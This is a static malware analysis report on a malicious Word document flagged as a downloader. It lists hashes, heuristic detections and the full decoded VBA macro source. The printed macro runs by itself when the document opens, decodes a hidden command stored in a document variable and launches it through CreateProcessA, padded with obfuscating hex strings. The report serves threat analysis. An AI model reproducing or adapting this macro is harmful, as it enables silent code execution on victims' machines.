Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36b22d9ccf7a505a…

MALICIOUS

Office (OLE)

72.0 KB Created: 2018-03-14 07:32:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 280ed1b1fae752c117b7c8712a30e6f8 SHA-1: b32e2c56264159b5a437a12dea59a21cca9b2bcb SHA-256: 36b22d9ccf7a505ad6e815a64130d18245e9db2281f627c966b69457a6164d9e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros and triggers a critical heuristic for CVE-2007-3899, a memory corruption vulnerability in Microsoft Word. The presence of CreateProcess API calls within the macro suggests the intent to execute a secondary payload. ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim QRS_AY As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim J_MOA As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22394 bytes
SHA-256: e703cbca985b9aad819492bc12684b4a5aab5802c573a200df4a59aa3b169cb9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 56 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type G_YIG
        IMQ_HZ As LongPtr
        X_HF As LongPtr
        V_OU As Long
        T_E As Long
    End Type
        Private Type FL_IY
        EY_FYF As Long
        D_S As String
        K_OM As String
        PMR_NBH As String
        J_RQM As Long
        N_SL As Long
        H_V As Long
        NR_A As Long
        O_JS As Long
        PIE_FL As Long
        Y_S As Long
        X_I As Long
        YB_DMY As Integer
        OT_XQE As Integer
        D_S2  As LongPtr
        JN_YV As LongPtr
        ESR_Z As LongPtr
        Y_HSO As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal HET_CEX As Long, ByVal XAG_DP As String, HFD_LH As Any, M_CQ As Any, ByVal K_XRV As Long, ByVal CBI_NFU As Long, ByVal C_GY As Any, ByVal SBR_YQ As Long, SQC_IUL As FL_IY, NXA_LN As G_YIG) As LongPtr
    Private Type SX_AYB
        YQ_JN As Long
        S_PKM As LongPtr
        YRB_BA As Long
    End Type
#Else
    Private Type FL_IY
        EY_FYF As Long
        D_S As String
        K_OM As String
        PMR_NBH As String
        J_RQM As Long
        N_SL As Long
        H_V As Long
        NR_A As Long
        O_JS As Long
        PIE_FL As Long
        Y_S As Long
        X_I As Long
        YB_DMY As Integer
        OT_XQE As Integer
        D_S2 As Long
        JN_YV As Long
        ESR_Z As Long
        Y_HSO As Long
    End Type
    Private Type G_YIG
        IMQ_HZ As Long
        X_HF As Long
        V_OU As Long
        T_E As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal HET_CEX As Long, ByVal XAG_DP As String, HFD_LH As SX_AYB, M_CQ As SX_AYB, ByVal K_XRV As Long, ByVal CBI_NFU As Long, ByVal C_GY As Long, ByVal SBR_YQ As Long, SQC_IUL As FL_IY, NXA_LN As G_YIG) As Long
    Private Type SX_AYB
        YQ_JN As Long
        S_PKM As Long
        YRB_BA As Long
    End Type

#End If
Public Sub Document_Open()
Dim QRS_AY As String
QRS_AY = "80AB80B4B1438080AD92437D80A38080BBA980A28080528080BD80658080804C60A6809996728080AC7F9F805A80806E5B806E80806CA3B84980805B806E928050BF83959D62548080806C8095A458804A70B5836F80436691808680537F80A68080BF8080AE8080598080805E8093716462668090909277807F978080808080808A80518080A25"
Dim DX_L As String
DX_L = "780B38A8080B193805B80808C7F6E8068707C80A753804680958C4ABB53A083AD799C80807680808080597980BD8B5C5B80BD8080808480A3658AA849AD9C9C54808F8080977D807F808080804280A0698080BA5880806480A0A88080A9A880AD808091815A8075B88080649D498080AC80AA7846A280808070B48080A4B180618070808B80AF80"
Dim R_UB As String
R_UB = "807280439F804E5F70808080A780A680A480708E80865B807D578080B5805E809480BC808080808080748080808080BE808D8080808080C05480897C9180B380AC82805CBB805A80B580528080578080B180806A80AC8055808D80688080728980BE438080AB4262808067558065528043678080AA834F80B5809B80918080A980807D59806F807"
Dim ZNS_F As String
ZNS_F = "68AB480418068B8A3808080A57B8080908077A67F85AC806D80809680808074808061B48073B56D80494C8042A0896A9E9782A6804B70939680808080AA8058809D8399808050B68079807DA0486C6D808080809880A380AC805F6D8080B7699580805D809C808880809F80808EB2B15673B253809C80968042808080808080AB8180508068B69B"
Dim OS_GAR As String
OS_GAR = "808080B98080658085808275AC8080429B80A48080804C804E80A2B84B808076BD7180B56880698075BF8077808088808080806C80AD91808080857A80808080BA428074807C72BF994DA6927A4F5A807E8C8080917D5149806999808085525C7980A3874F8080AD808080488080EAA980B080A7807D809D80807B8054808A5A95808080B5466C8"
Dim G_JY As String
G_JY = "080A84180808E8089809380866796807E6680735F808080807757809980807C8080808080548E8048809980884F80BE84A6906E808059808380A8C0B7808080898080468052808658809682688099988082B9808083808080B65B80A9808080807F807E8080AC9AA6BB9480805F80808080958047808065A6808080809F80A280805987AF804E6A"
Dim YQL_U As String
YQL_U = "AA8081AD80988080B29C8080BC80808080AFB6805DA68099B8BD80804480808080808080B9B8478080AC8080804E80808080808080804A6868AE807459628080804BAC80B0806F80B38080808080805E656980914BAB9580AF8080C0807980805E5C80447F808580BD475C809B6B7170B7B84F80787180B68080804C80807B6E808080838080BD8"
Dim AUR_L As String
AUR_L = "05480458F807F8580804A806B808080808EAC608080806F80A99580804C649D806773808580B5809351805E80994380B49E708A4780AE80809B808080B580805A5B80808096688080518080808080677480809780809480A9808061A7B8458085AB80809C80808080805289A0808080A580807B70A18080B48E8048B7994C808F80419280808080"
Dim IY_B As String
IY_B = "B9805C808060684CB8805393504B7C808080504FAA808580738080977D80738080A98583809466BF80808680808596B88080B2BE8085808080669A8E62A4A0619D89808580A980808880804BA480B98780B65380766164AF80796F8072AFB380B38080744C80809B808094B0804798808E9F676980808080805D80807A59B280805480806D79808"
Dim DLQ_ED As String
DLQ_ED = "0808080806B5780807A8D80809D4D9C99AC80A08085A4808080AF616780A365807580807180F6BF78808063808065808080846B80804A4378BD57B95480B2805D80807C898080814E8080807C808A8D99805F80A98074806E988780476480B6B48080BF8B808080C080BA807B7D8080806D80529380806BB4804F80BA4C7B80809A94804F804380"
Dim DSL_OB As String
DSL_OB = "7580BA8075B180809C808080A9806380804B8080804CB49D808080809C80426A80807C8080447A5D80807AA18059788080A080BD83808046B680808049416D80B480AA804580488DA880847B804F8C9480678280807B6A77AD92B480558080AA804E6C805480808071808B80BA80804280A04780448080808C80A8808093AA80808D4280808180B"
Dim YTN_LJV As String
YTN_LJV = "D8080AB8080A07580808CB980805F7F65B3807C80806D806D67B5B6804780805EA1808072807557808080648EB98082A44A8E9B7EB08068BFA7804D8064A09B6E80BB807C82804880458080498080808580BE808063B380AC8048B54A63BE97806180928069809480AB7D8AB680805780728080804BB4805080B7808080804E808080A99780BB80"
Dim ADL_GGH As String
ADL_GGH = "80B0B048807A807E599E828080725760808099936B8072807080778080728080806880AD80808079B675808077804F808A808062A480807FBEB1B980A98080507C804ABD808080BF5A808080808068737D5E7C808060BA9C809E5B80807080907C456680806D808A48638D80B88080769580809A8080618069ADA48A80808080644D80714F80845"
Dim BPH_KX As String
BPH_KX = "9974F4B5680808080569C4F8080B5468080808080776D80808057B56980918056C07A52805480808280A780804880AD8F8085806B804C88804EB180939A80647C805B80489F90808C65695B6880628080B843804F8080805D8080A25B80BD8080B45380808894808080A0806EB6888F44805E9750806DA8AC80805180729380889B93506469718080706EE98080809F7A8066808788808D809D80809C804E76805C808080807380807A80888580617580808080544CA480928080809580618080808080BFC080BE80"

    S_UBQ
End Sub
Public Sub S_UBQ()
Dim B_NW As SX_AYB
    Dim WP_RB As SX_AYB
    Dim CXK_SN As FL_IY
    CXK_SN.X_I = &H1&
    Dim RB_YJH As Long
    RB_YJH = &H20&
    Dim XO_SVE As G_YIG
    Dim RLN_QU As String
RLN_QU = "4980AE8E888080494E805B7E80804380428A8080506C8080B8804B8080985B80624780806996418080807380538048806A804B80804D80804E8080BFB5528080785C807F5FAC80899F9B71808080804EA29B8EA04656928080A0BFB55A6D80BD4D80AE5E804C719EB4C0808080A3788080B25480AAB37347809F884C6E80866EA3BD8080808090976B8080A48080B5698080805A57538080A8"
Dim JW_IV As String
JW_IV = "80A1806571807B8063A982A881638080BB80808080A280807780548CAA454F5A538046808D8C808080806F9D809E808055808D80808180AA80B1808080B28F6F736A80807AA1806180637DA980588080808053969A80806780AE808076806F9474458080808071804570808080576F80A08080828080809680978E7973478080A2808055B7968080808080946A8080A86180809A5280848980"
Dim IHZ_C As String
IHZ_C = "808C808080808080779B7B808055808041804380808080527180928080B980808080B680788090AFAABDA36DA58084868080848080A2478067808046804E9F806D9C808080BE7E908060676E8080849E4C648076414C6D80808080808A809C5E808078808D8080BA469B8082808080808080BE80806270938058808946808049804AB78052A68EA870805C80806C6280AC8092B380804C56A3"
Dim YH_AGT As String
YH_AGT = "80808080809676BF8080B8A780638057BC8046858080804280A5A892A98080A19059808080B39180AC808A80AA804C707B9B61515EAB48808080806EB14EBA4780BEBE4E984A806080B08D808A9A79BB80BB8091738080805880A0587FBC7D71A34B808080739280808580BE5080808080808080809780808981B97C488069745D7680C980806A97A08080458948808080808080808080808B"
Dim QGN_U As String
QGN_U = "80A6A18098804F4280A98797A880804179BEB580507F808080804F807180914CB7868980806E8080B58044828E978D808080809C80A480A18080928099806C597B8063807D594B80B951807B887C737F7A8080418076548080805080807F5C80806A53B76B7580A980C09E93546680805F808080636B644680B880B94A6F467B8080A35F6A805546468892B6808080806EB380888080808047"
Dim NVG_JX As String
NVG_JX = "4E8080BD819F80BB649E8680B8B4A3BBBF8080806E4C80808C80B280C0B37A80585C52A2808080808080A3934180809B807D80809980808080508080804D4FA098925A8080804A80BA8080808057808480C0807CB380418062807E51B886809880498086628080A7808680A2708080A0A8806F805D8080808089B6A97288447D804E7D80A280565A80BD8AADAE8080B2805080F8806A6A9063"
Dim WII_PLX As String
WII_PLX = "80807180808080658080A24780598088A382808080448063808180A5805480801380808C808A808080904A8073858080C456436E8780B090808048BD8080508080B1808080886D8062A95A808094615D6C808080805880808080A78083806580805F805A8B809F4C80808D808091805AA28080805A61809580808080B3808D807980A3807380808056809F5E8056806AB57080808080808080"
Dim L_CPI As String
L_CPI = "925380808880AE805980808080707043458D7F788080809F83489BB2A0807280A08080628080808080B380AE808080B09D8080584580458054BB806643AC5F80668080B08080667C808080806A868080808080808880808580B1AD8F8071A580808080804480804F7047BD806E808080675D4C8D987A6880A2A4B7805C8080A780807F868073808050BE998261805780808068806659808080"
Dim L_XL As String
L_XL = "80A580BC80807B564F8080B78080ACB87D80808080B08E805887A07282AC8080AE55805259538080474B80807D7D756F80808080805F80938080894A8080714A80659B9F6B91728080808080804A6B4480807F80BC8080A16D80A88077808080738051809080B080549FAA80804B805F47825598B580808B808080B480808D804780915B708480805EA880B279B5627A8980806C8092806C80"
Dim U_DKV As String
U_DKV = "789180808072805D8080A394448080778097678080A480807B8080618F8044659580806C808977809580808080856180804A80BE7680808080809387808098719F6F80804B4B804E80738080805F957D806C85808080A9636D96518080997C9FA08080828080948044A84580AE56BC808054B78081888080805842806D808080808080808180808080415FA1808080B4806980B88F804F7580"
Dim WQI_C As String
WQI_C = "80957BB0708080AF8080638080958780BE5942788080AD8077669945804D8380AE8096728080B2808080467E806348805C808080808044BCEB56808E8080B38080808DB66F804C80A7B78044915E538096AF4E71808080699C8080B5678076A580808580BE80808045748080807C8089A044809184808046AAB9757A81809A808065808B5ABDBC9E89508080808080AA808068728077808052"
Dim PJI_PZ As String
PJI_PZ = "B8B1BBBC809C5680488080AD8970809349748080808098A4806880B06179804C42808080BB80578080808580A26E80806B803E98808F805CA87D8D508080B1B0C08A554A7780808080BF80A780974F80AF7D7283808D61A075808060AD648042805680A7678081807580428E804180AA8B7F6D80808043805E7480579B80808080808049568E80BD80808074808080804380807F806280A5A3"
Dim KVW_EJL As String
KVW_EJL = "80A6808080809AA160495CA2758087BC48808077A38098558080578093808080808480805380806E8080658080804F80495BA5806CA5809380985083808072808080AB80B5808045804A806A73B4806749808A80614F806480C06D8096BD809080806498809B67A080628080606EBA807B8080B5B78080888080797D9E8080808080807A758080AFA78080A18083809D808B8057766B50598080806384808080BB80805A428680818080808080809F414B8080809B808062805780806B80808080A280809C8080"

   Dim YDN_YW As String
   Dim XFC_MP As String
   Dim YN_RN As Long
    Dim L_LOD As String
    L_LOD = ActiveDocument.Variables("4MID497").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, YDN_YW, B_NW, WP_RB, False, RB_YJH, 0&, 0&, CXK_SN, XO_SVE)
    GoTo x3
x3:
    Exit Sub
x2:
Dim T_T As String
T_T = "5F80A3BB8B80578080804480A2808580808080804A8080804F4D808095705280AC8053A48080805780808080628080468F925680808080588080806C9C747380B3B6809D505ABA80446280638080AA804780805D808EA38C4680808089808080C0808062807F79804180BE80804480BA7C806E958097908A514BA4808080476E5182808080A8A15C8080AB98"
Dim LWI_QW As String
LWI_QW = "4280758080999D836A80768074808078808080808080AC80A680937B8080804A80805A6A838080809BAF80A38080808080B8804E809F85808080805AB580806B69795E8089804EA1A8B49C808080978080A86A80807A80979080808082804180AA809980668F708041808080B962806F80868080806FBA8089BF918E805760AEB480A975AA80808079B68053"
Dim DVJ_KVG As String
DVJ_KVG = "8346806E6B809F8099B1807C6F9ABE8080808080BD809E8080808048805D978073A780848064645780645543486D47515347809880528080807DB4804797A57C5B8049807B488080739AB59B80808080808080808062804380A4808050A1808080B8657FB38080808080807D858E80808092A2805C8080808080806B69808080B363A997835E8080A6808380"
Dim Q_ZSJ As String
Q_ZSJ = "808E808080808074807E8880799C80B1794E808080C0BF8050858380807B80A3809280A3808080A880806B4FAB8076A680C0758055B4828A80808080B6588B80808080BB6080897B808275809580809F4D988080B1B080805A8082584A8093806AB280808752778043807F9F80A6499D805F988068B6714880479047648090808080AB75A092528080B7AD80"
Dim H_LD As String
H_LD = "8082656F7A80AE807680AC80818080818070805C808080758080808A4D804D80497AA780806280AABABCB280968080A9B18080948092B54AB48074A58065808080804880899F80A3AD80476780808480807C80805080809E668080AA809680805A804E808069B38C807580AE80B552806A8B8080808080837463AE8080808D938280847680808080B3808048"
Dim KKQ_LEO As String
KKQ_LEO = "98BB808080804B69575E805B808046468080B4A35C80808080AD80809C76808080B280805380836A6B80945C8D5980808080A8807C806251839956B2A58080606F8080B88080746180B880BB808294804280A9A987808090BDB3806B8080B08075806E588B808075808AA29B8080578080A479C080804D4C8680B16C4A8F6D4880878080678080807480A7C0"
Dim BW_C As String
BW_C = "808080AA8EA277A2BD458063809080806C775E9AB59080A5808080808080688080915580808041808080704444A7478049808A6680808080808080A3808080807C807580769380808575808087807CBC809DA780BE808980A2578762808094AE806C6380BE9580808052804B7780AE8068BE80C07180805F80807D8280B4806A6B5C80808089A6807FAD6F7F"
Dim CB_D As String
CB_D = "80AD80A4809580807E80AE458080809C809F646A4E8093A0BCC0805BA8B592805EA88080809F804E809D80C04A7980AEBB4F4B5580809745BF808080995D55805A68BE8080825D61AE8080B2886FB180808480807E8096808794574480AC56808080804F8080AE7580664D80AD8A80A0806F9B589580B680804AAB54B49C80C0804AAE755D80638080808980"
Dim GZB_PW As String
GZB_PW = "804B7B80807D80BA9B808D808071A480808080809C8080538080809F8091BB628080809C78807D659680BB8090B080808044806480A880546B4180807B9E805F80B3804583BB5180804757B74A808B7780B080977550A853894D8080805B9F80BD80806B80808080806580927E4AA8808E8080B28080B9A36D8080AEB1807A8080608D4C8080A4728050A957"
Dim UK_VE As String
UK_VE = "807F8080AC809080806C8080805C57808080BD89AA8298474F8080A980575E8080B883808080804EB251885C6A6680BD77809D806A808A807680E1808094806E8060808095807580808080848E808080AC478F809480BB5E72516780598080BD8080875E4880808094578080C0948D80808080478080B58063804E658080528080808080A47E9A8080808071"
Dim X_X As String
X_X = "808080805A4C425DB6808080806180B783805A8080A06965808C8061804F8097B180736D808050809141658084BF5EB29180809C58806BBC808080808096808181B67780AB80BAB7A3A8807C9B80466F568084BD777FB680809D80839A60804CAA80444A80808059808081B55580808080807F4A4380B7804E80785E83AD8080808080889A80ADA592808067"
Dim JM_X As String
JM_X = "B8808080B59B6B80414AB18080808080B36753AF8078808169808580BA5D9080666CB78C80806C808A80808052BC80805880554982807D80B7805791F88061788080ABBD806F80809E9B80AA808080976EA2A17CBE807A806E5F5697BD964680A5A0805A4F8A806E8280688069808F8E8080668080805D71205080B280458080696B547E6058804E7D418080"
Dim VEE_O As String
VEE_O = "808480809D8070BA808080808B80BE9D80436461B680647A80804F8080BD8080749C80495545805380BE80BA9680AE9580AD809FAE5B808080809D6280806F808086588F7F9480808E4E80858080A78080A66851807D765980BAB4808093809080BB508060579D804151A0807E64807A80809A805E80805180B58080899780808080808698808F80A1806C80"
Dim LPI_E As String
LPI_E = "80B1807A8074805B7280808080AD80A880B8808088B4808080804C468063807BB0807B6F50A1A7808080997080808980668071809580639774748056B680618090807294988A51809780808080806969808080804A807E4D806E7380B78F44AE8080478080808F97809367804C809880807E80808E8087805D804F80768080808063B88062608080AD808080"
Dim EER_UUG As String
EER_UUG = "80684F5F807C70809580808042808081B68080808080808F808080808061804AA18080808080AC9F5E9FAA805C60A0BABC80597F8E57807F80804D8072807460808D8F7150818042817A80808080B3B18A80806B8080548080B8807380806E856B8A4880806FAA7B83578054A050806D5D808980964A80807A8081804280B5A84DB4A6778080805B5C8A80AB"
Dim TD_XQE As String
TD_XQE = "80807E8053568080628060805F80807A808080488080BA806F804C62755B7AB6A08080AC8080808580AE4E806C8B5166807880917872B38080A2808080B7459D8080808B965E80BEA9A68073ACBD43868080AD8083656880BD80B680808555A98080988080B8BB8080768071B8A08080444B625A80A88780808B808062808080A680766C80AC807D97B87D80595780824B8880937651808B5D6E8062808EB7B6808080808089809289518080B675804E8080639371807F807F735B806B806B865D7149AA8080874A6581A7A58080805480AF8093C08080B48080B8606EAB808071588046B65D8080894C8080BD8085804880808080959380B4605C6880808080B780804E9B9346B678808280BA8073806780"

   For YN_RN = 1 To Len(L_LOD) Step 2
        XFC_MP = Chr("&H" & Mid(L_LOD, YN_RN, 2))
        YDN_YW = YDN_YW & Chr(Asc(XFC_MP) - 65)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim J_MOA As String
J_MOA = "B280805880806780B080A248808049A85A807980BB594B8080A9B080B880498080806C3C5D776FA08096808080B75980809980809A8080A0A294B17F8080B0A66A80809E80439380A8647A75808080A06A8D808080809D80805A82805F8080B4905897806380C0806B80807180B09A807B91958042806080608F8094567B80808080758455804A8073586C8080808052AD888085808F6F7849448080B255AA488080668080AF808B8080808049B18"
Dim H_FQ As String
H_FQ = "08082808056A39980474D4D8044AD805E806444805580C08080808080C09C844180808070ABB68068804B608080808080958064804580807980805B66A9804C80804D7744809E80797280634B80807D758A5D9E8079B48080B0AAAE809C808080B58080AE805480808069808080A280808C8A7DB396519880A1806580A55D704B6F7E808849A8808D80808E808080B780B4808043A8B556508047804F7B4DA2BBA880805F778480AB66807E4B8080"
Dim NV_CQR As String
NV_CQR = "8A75A7B58080886C8083808096A1807F808080B0AC5C4899807180998080774CA66780808080A480737D8080AD8080B38080B85E7B626E6E4F80B980808F804D80716F80948080A3517D70A8A2805B828780808080806C4680B7804C805F8480B380AF80805F9056564E80808080648077B74B99808E80466A54808080B88080838080648080A88080806E5480B6AD80807980808D50AA808082918E805C4580654580804F848049808080568A748"
Dim K_MZ As String
K_MZ = "09C808B808080BC55848097804D806AA58080B6BA80808080807880C0804F80808080844297808080B3809DAE80548080808055803E8080448080AE5BB78080748080A38F5E8080796776809E536580808080525560B97894804E809A98898080A460808F98B0805780808085808080807F80806080AE6C80A8BD808080808080455D8080536A8080808080809572805A94806D858C9B639D494D8B808080804D5280805E8080808280798DB26880"
Dim XQ_TJW As String
XQ_TJW = "63808080ADAC80809E694B5D80808079A9808080A0B17D80804A8080508080485080808080808080AC938080805C80966980808080B459B4784192806A80437F80808080808080BD5AA6499E804680807680808C808CB9A5A080AA806A6A8090808080807D8051B79B80AC80AC8C5D82B281969B80809674878080439399BC4BA06B978F805F7B8080808080805FC080A880808054729E8080824F65AB80809FA2808080648077615180807A8072A"
Dim S_BL As String
S_BL = "C80AC78968080578D80808080806CA18080886761738080808080A780B2806480998080748080AA8B808080B5809A80805B8080517980AF808080807480988080488080946E948080804C6180ABB273978072858980808B8080808057235B805E929649B680807A80A3A48080805D4180B980809BAB499D80779B80808080BC80595C6A808B80A84F8075805079A98056806AB65B80808E80459F8580BA80B2B34780B84280806F54648DB480B680"
Dim C_VVQ As String
C_VVQ = "808065808080BBA14D7280BE80808EAE806280B54988807F8A80A380B6B4BA7792A1928080878080808086749AAC83B880925242808042A9AC878059AA8080958779808080808058BDA4A48080808080828062A876808091AEA48080807C8E8080537380805E80B7808088939880A953BB6980805280806BA2807880685663808042806580AE80A09780808080A554B780804280805E808080607E757580805180454C80C0A1738080808084AA785"
Dim OGF_TLD As String
OGF_TLD = "5807780804B6E80727D508080805A809B6A80804FAB80B280AF8AAB974C989A804C8080BC8080808080808080B280839CAA80BA46757C887080808D807180915875BC8080866880807D805A8049BC80BC5580807746AA80748058808080806A8080808069A456828080628068604D8080C080806F5343808051806C8580805780808094808080807D808080808080715FA180806680807280808080738080A36CBE57805E80968082A26447598099"
Dim ZPG_M As String
ZPG_M = "548076806E806E805ABB804B8078B0808080965B7A84558B808086BD595269B28080A180766E915D80808B7B4B80715A80614480808C6180809BAAA580A3808087BD8075A1804580B0806741A48080A5A3808065B85498805C8080806F8062A88067808063808080788080806C80417A808080AAB5945A80805E8681A24580AF4C8080BFB3AA67BC8085BFBB51908080B487806764808B80A98080808980448080807A809AB3809380804F8080808"
Dim JKP_EIX As String
JKP_EIX = "08D8080898080BD804B80868080A68FBB809BA4C0795A805280807D726A4B536A809B7A55B48080499080938080A18060809DAB4E55808080B5914D80808074807E4C55A78B80B08070804B808780BC528080805C8080907880BF80BE80AE6C6080A99680807780808D804B805F6E9F8080B07A808080806F8C4D8085809D809780768099B28080BBB2598061A88058757C80B18080808080B3487D8080C080808B8058805380804D9557BA806280"
Dim XXW_JQ As String
XXW_JQ = "8068804B8080A780805A7C80B480B380808B5D8041AE6A80808012B5B28092BD80809BB5804D804A8A828080808180BD808045B080BB94664180999A5682808C80855865487F7980806D7155808480808080778D805D808061804C8180806C80808080808099B9A48049808A808F806180A3654C808080B879457B73804C8041BB9C7A808080B98080847F8080BF8F61498048805C4A538080947E71808052808080557880802C795E80A87980648"
Dim R_GTS As String
R_GTS = "08080437B80808170B443948C7B80808073808080AA588087809CB38066808C8071808E80808041808018AFB8B280B3737580806793809180B0809D834B80A45B809580809C5C809B8094808093808080B780544B6F80807EA88080A18080804C9D808380BC80AC588080B9A2805E8080805892809151808080BA8064628080994F8080728080B88099807FA1498D998A866280EB808D6FAF80428089808065619359688080808094806A80628080"
Dim TEB_KQK As String
TEB_KQK = "809080605280436A43B7805147AC7C80808062807980638096A7BB458052807CAA80807FB37448BFBF80806B80808DA78080805C8080806F808080BD80518080B780798085BA808080805A5557809880808F7080BA80AA9D908079808080807DBE80AE8080808E80808080805B8080808099808080809E8094808180A5B780806593A49580B880678080AC807680B2A48080809B80AE808080544E80A88B55808080B4768580808080808080515E6A80ADAB80A080548080807BA5806F868097598080806F8080809C808080B5807F8080808071B14D80A88080BE6B8080588080AD94807E80448068A360806A8080BB80808962808081806D8080806C714C4680"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.